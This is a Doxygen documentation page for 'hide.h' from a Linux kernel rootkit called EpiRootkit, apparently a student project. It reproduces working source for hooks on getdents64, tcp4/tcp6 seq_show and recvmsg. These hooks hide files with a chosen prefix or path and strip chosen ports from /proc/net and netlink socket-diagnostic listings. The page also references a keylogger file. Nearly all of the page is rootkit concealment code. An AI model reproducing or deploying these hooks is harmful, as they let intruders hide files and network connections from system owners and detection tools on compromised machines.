EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide.h File Reference
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/inet.h>
#include <linux/inet_diag.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/ptrace.h>
#include <linux/seq_file.h>
#include <linux/slab.h>
#include <linux/sock_diag.h>
#include <linux/socket.h>
#include <linux/spinlock.h>
#include <linux/string.h>
#include <linux/types.h>
#include <linux/uaccess.h>
#include <net/inet_sock.h>
Include dependency graph for hide.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Classes

struct  linux_dirent64
 

Functions

asmlinkage int notrace getdents64_hook (const struct pt_regs *regs)
 
asmlinkage long notrace tcp4_seq_show_hook (struct seq_file *seq, void *v)
 
asmlinkage long notrace tcp6_seq_show_hook (struct seq_file *seq, void *v)
 
asmlinkage long notrace recvmsg_hook (const struct pt_regs *regs)
 

Variables

asmlinkage int(* __orig_getdents64 )(const struct pt_regs *regs)
 
asmlinkage long(* __orig_tcp4_seq_show )(struct seq_file *seq, void *v)
 
asmlinkage long(* __orig_tcp6_seq_show )(struct seq_file *seq, void *v)
 
asmlinkage long(* __orig_recvmsg )(const struct pt_regs *regs)
 

Function Documentation

◆ getdents64_hook()

asmlinkage int notrace getdents64_hook ( const struct pt_regs *  regs)

Definition at line 11 of file hide.c.

11 {
12 int ret;
13 int fd = (int)regs->di;
14 struct file *dir_f;
15 struct path parent_path;
16 char dirbuf[256];
17 char *dirstr = NULL;
18
19 dir_f = fget(fd);
20 if (dir_f) {
21 parent_path = dir_f->f_path;
22 path_get(&parent_path);
23 dirstr = d_path(&parent_path, dirbuf, sizeof(dirbuf));
24 path_put(&parent_path);
25 fput(dir_f);
26 }
27
28 // Get the pointer to the directory entrues buffer
29 struct linux_dirent64 __user *user_dir =
30 (struct linux_dirent64 __user *)regs->si;
31
32 // Call the original getdents64 syscall, to have the buffer updated
33 // Next, we just need to check directories in the buffer,
34 // remove the ones we don't want, and copy the buffer to user space
35 ret = __orig_getdents64(regs);
36 if (ret < 0)
37 return ret;
38
39 // Allocate a temporary buffer in kernel space for copying and processing
40 // the entries. Next copy the buffer from user space to kernel space.
41 char *kbuf = kmalloc(ret, GFP_KERNEL);
42 if (!kbuf)
43 return ret;
44
45 if (copy_from_user(kbuf, user_dir, ret)) {
46 kfree(kbuf);
47 return ret;
48 }
49
50 // Current position in the kbuf buffer for processing entries
51 unsigned int offset = 0;
52
53 // Allocate a second temporary buffer to store the non-hidden directory
54 // entries
55 char *newbuf = kmalloc(ret, GFP_KERNEL);
56 if (!newbuf) {
57 kfree(kbuf);
58 return ret;
59 }
60
61 unsigned int new_size = ret;
62 unsigned int new_off = 0;
63
64 const char prefix[] = HIDDEN_PREFIX;
65 size_t prefix_len = strlen(prefix);
66
67 // Loop through the entries in the buffer
68 // Check if the entry is hidden or not
69 while (offset < ret) {
70 struct linux_dirent64 *d = (void *)(kbuf + offset);
71 int reclen = d->d_reclen;
72 bool hide = false;
73
74 if (strncmp(d->d_name, prefix, prefix_len) == 0) {
75 hide = true;
76 }
77
78 // Build full path to be more precise than before
79 else if (dirstr) {
80 char fullpath[512];
81 int len;
82
83 if (strcmp(dirstr, "/") == 0) {
84 len = snprintf(fullpath, sizeof(fullpath), "/%s", d->d_name);
85 }
86 else {
87 len = snprintf(fullpath, sizeof(fullpath), "%s/%s", dirstr, d->d_name);
88 }
89
90 if (len > 0 && len < sizeof(fullpath) && hide_contains_str(fullpath))
91 hide = true;
92 }
93
94 if (hide)
95 new_size -= reclen;
96 else {
97 memcpy(newbuf + new_off, d, reclen);
98 new_off += reclen;
99 }
100 offset += reclen;
101 }
102
103 // Copy the modified new buffer back to the user-space buffer to replace the
104 // original buf
105 if (copy_to_user(user_dir, newbuf, new_size)) {
106 kfree(kbuf);
107 kfree(newbuf);
108 return ret;
109 }
110
111 kfree(kbuf);
112 kfree(newbuf);
113
114 // New size without directories we do not want...
115 return new_size;
116}
#define HIDDEN_PREFIX
Definition config.h:54
static struct dentry * file
Definition epikeylog.c:145
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)
Definition hide.c:6
int hide_contains_str(const char *u_path)
Definition hide_api.c:66
unsigned short d_reclen
Definition hide.h:26
char d_name[]
Definition hide.h:28

◆ recvmsg_hook()

asmlinkage long notrace recvmsg_hook ( const struct pt_regs *  regs)

Definition at line 156 of file hide.c.

156 {
157 // Call the original recvmsg syscall
158 long ret = __orig_recvmsg(regs);
159 if (ret <= 0)
160 return ret;
161
162 // Get the socket file descriptor from arguments
163 int fd = regs->di;
164 struct file *f = fget(fd);
165 if (!f)
166 return ret;
167
168 // Get the socket structure from the file descriptor
169 struct socket *sock = f->private_data;
170 struct sock *sk = sock ? sock->sk : NULL;
171
172 // Enable hook for only the netlink socket and the diag protocol
173 // This prevents us from touching EVERY recvmsg on every daemon ouch
174 if (!sk || sk->sk_family != AF_NETLINK || sk->sk_protocol != NETLINK_SOCK_DIAG) {
175 fput(f);
176 return ret;
177 }
178 fput(f);
179
180 // Copy the user_msghdr structure from the user space
181 struct user_msghdr umh;
182 if (copy_from_user(&umh, (void __user *)regs->si, sizeof(umh)))
183 return ret;
184
185 if (umh.msg_iovlen != 1)
186 return ret;
187
188 // Copy it
189 struct iovec kv;
190 if (copy_from_user(&kv, umh.msg_iov, sizeof(kv)))
191 return ret;
192
193 // Get the raw netlink dump into kernel space
194 char *in = kmalloc(ret, GFP_KERNEL);
195 if (!in)
196 return ret;
197 if (copy_from_user(in, kv.iov_base, ret)) {
198 kfree(in);
199 return ret;
200 }
201
202 // Output buff (always the same technique)
203 char *out = kmalloc(ret, GFP_KERNEL);
204 if (!out) {
205 kfree(in);
206 return ret;
207 }
208
209 // Iterate through the netlink messages
210 size_t out_len = 0;
211 long remaining = ret;
212 for (struct nlmsghdr *nlh = (void *)in; NLMSG_OK(nlh, remaining);
213 nlh = NLMSG_NEXT(nlh, remaining)) {
214 // Always copy DONE so processes know the dump ended
215 if (nlh->nlmsg_type == NLMSG_DONE) {
216 memcpy(out + out_len, nlh, nlh->nlmsg_len);
217 out_len += nlh->nlmsg_len;
218 break;
219 }
220
221 // For each inet‐diag message check the port (source)
222 if (nlh->nlmsg_type == SOCK_DIAG_BY_FAMILY) {
223 struct inet_diag_msg *d = NLMSG_DATA(nlh);
224 int sport = ntohs(d->id.idiag_sport);
225 int dport = ntohs(d->id.idiag_dport);
226
227 // Check
228 char port_str[8];
229 snprintf(port_str, sizeof(port_str), "%u", sport);
230 if (port_contains(port_str))
231 continue;
232
233 snprintf(port_str, sizeof(port_str), "%u", dport);
234 if (port_contains(port_str))
235 continue;
236 }
237
238 // Else copy the full message
239 memcpy(out + out_len, nlh, nlh->nlmsg_len);
240 out_len += nlh->nlmsg_len;
241 }
242
243 // Back to user space
244 size_t err = copy_to_user(kv.iov_base, out, out_len);
245 if (err) {
246 // Nothing yet
247 }
248
249 kfree(in);
250 kfree(out);
251
252 // Return the new length (not alwya smaller)
253 return out_len;
254}
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
Definition hide.c:9
int port_contains(const char *port)
Definition hide_api.c:118

◆ tcp4_seq_show_hook()

asmlinkage long notrace tcp4_seq_show_hook ( struct seq_file *  seq,
void *  v 
)

Definition at line 135 of file hide.c.

135 {
136 if (v != SEQ_START_TOKEN) {
137 struct sock *sk = v;
138 if (hide_sock_ports(sk))
139 return 0;
140 }
141 return __orig_tcp4_seq_show(seq, v);
142}
static bool hide_sock_ports(struct sock *sk)
Definition hide.c:118
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:7

◆ tcp6_seq_show_hook()

asmlinkage long notrace tcp6_seq_show_hook ( struct seq_file *  seq,
void *  v 
)

Definition at line 144 of file hide.c.

144 {
145 if (v != SEQ_START_TOKEN) {
146 struct sock *sk = v;
147 if (hide_sock_ports(sk))
148 return 0;
149 }
150 return __orig_tcp6_seq_show(seq, v);
151}
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:8

Variable Documentation

◆ __orig_getdents64

asmlinkage int(* __orig_getdents64) (const struct pt_regs *regs) ( const struct pt_regs *  regs)
extern

Definition at line 6 of file hide.c.

◆ __orig_recvmsg

asmlinkage long(* __orig_recvmsg) (const struct pt_regs *regs) ( const struct pt_regs *  regs)
extern

Definition at line 9 of file hide.c.

◆ __orig_tcp4_seq_show

asmlinkage long(* __orig_tcp4_seq_show) (struct seq_file *seq, void *v) ( struct seq_file *  seq,
void *  v 
)
extern

Definition at line 7 of file hide.c.

◆ __orig_tcp6_seq_show

asmlinkage long(* __orig_tcp6_seq_show) (struct seq_file *seq, void *v) ( struct seq_file *  seq,
void *  v 
)
extern

Definition at line 8 of file hide.c.